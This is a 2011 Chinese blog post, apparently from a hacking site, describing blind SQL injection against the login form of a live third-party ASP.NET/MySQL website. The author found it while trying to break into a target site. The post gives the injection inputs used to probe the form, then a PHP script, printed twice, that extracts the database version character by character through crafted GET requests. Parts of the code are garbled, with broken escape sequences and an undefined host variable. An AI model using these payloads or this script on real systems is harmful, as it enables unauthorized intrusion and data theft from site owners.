asp.net+mysql后台盲注入

分类:安全 | 2011-08-22 | 撸过 347 次
0人扯谈

后台的登录注入点,不过悲剧的是无回显只能盲注。更悲剧的是mysql数据库是5一下的版本!
不过还好站点是asp.net程序的使程序报错后能显示一些信息。
正文开始吧。
目标站点找了一圈没发现入口点,旁站没几个,不过幸运的是发现了个登录框的注入点!(应为这个旁站只有一个登录入口!)
刚开是在用户名那里输入了 admin'-- 报错了
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1
一看对输入没有过滤是存在注入!那么好办了。
首先先看看能不能直接绕过去。输入admin' and 'x'='x 密码随便 程序没有报错 不过提示的是密码错误。
看来他的sql语句是先判断用户名再判断密码的!
接下来准备看看密码是否可以绕过。
返回的结果一样好吧我承认我2B了 程序肯定是把传递过来的参数MD5加密过的!!
盲注吧没任何显示的!!
先判断了下有长度是多少。
这里拿 查看当前库的语句来演示。
http://www.webshell.cc/path/index.aspx?UserName=admin' and Length((database()))=9 and 'x'='x
经过判断长度等于9
我承认这样子很麻烦不过sql注入神器没有回显的!所以被逼无奈的我自己写了一个自动注入的脚本!
不过目标站点的是UTF-8 我cmd下面显示不了UTF-8 所以我用php函数转换了下编码把关键字定位了
不过程序不能自己去对比关键字。(可能php水平还没到位)
所以只能自己去判断了!

注入代码我发上来吧!

<?php
///* //9
for($i=1; $i<=9; $i++){// 猜内容
$a=1;
while($a<=120){
$sa=sList($i,$a++);
$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);
echo ($i).$sa." ----".($a-1)."n";
}
}
//*/

/*
$a=0;
while ($a<50){//猜长度
$sa=sky($a++);
$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);
echo $sa." ----".($a-1)."n";
}
*/
function sList($ke,$value)
{
$tmp = array();
$data = '';
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20ascii(substring((version()),$ke,1))=".$value."%20and%20'x'='x HTTP/1.1rnHost:$hostrnConnection: Closernrn");
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all("@<font color="Red">(.*?)</font>@is",$data,$tmp);
return $tmp[1][0];
}
function sky($value){ //猜长度
$tmp = array();
$data = '';
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20Length((version()))=$value%20and%20'x'='x HTTP/1.1rnHost:$hostrnConnection: Closernrn");
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all("@<font color="Red">(.*?)</font>@is",$data,$tmp);
return $tmp[1][0];
}
?>
<?php
///* //9
for($i=1; $i<=9; $i++){// 猜内容
$a=1;
while($a<=120){
$sa=sList($i,$a++);
$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);
echo ($i).$sa." ----".($a-1)."n";
}
}
//*/

/*
$a=0;
while ($a<50){//猜长度
$sa=sky($a++);
$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);
echo $sa." ----".($a-1)."n";
}
*/
function sList($ke,$value)
{
$tmp = array();
$data = '';
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20ascii(substring((version()),$ke,1))=".$value."%20and%20'x'='x HTTP/1.1rnHost:$hostrnConnection: Closernrn");
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all("@<font color="Red">(.*?)</font>@is",$data,$tmp);
return $tmp[1][0];
}
function sky($value){ //猜长度
$tmp = array();
$data = '';
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20Length((version()))=$value%20and%20'x'='x HTTP/1.1rnHost:$hostrnConnection: Closernrn");
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all("@<font color="Red">(.*?)</font>@is",$data,$tmp);
return $tmp[1][0];
}
?>

" width=
希望有人能帮忙完善下这段代码!!
最后感谢那条死鱼的打击以及Ay暗影的帮忙!!

本站内容均为原创,转载请务必保留署名与链接!
asp.net+mysql后台盲注入:https://www.webshell.cc/758.html
标签:

相关日志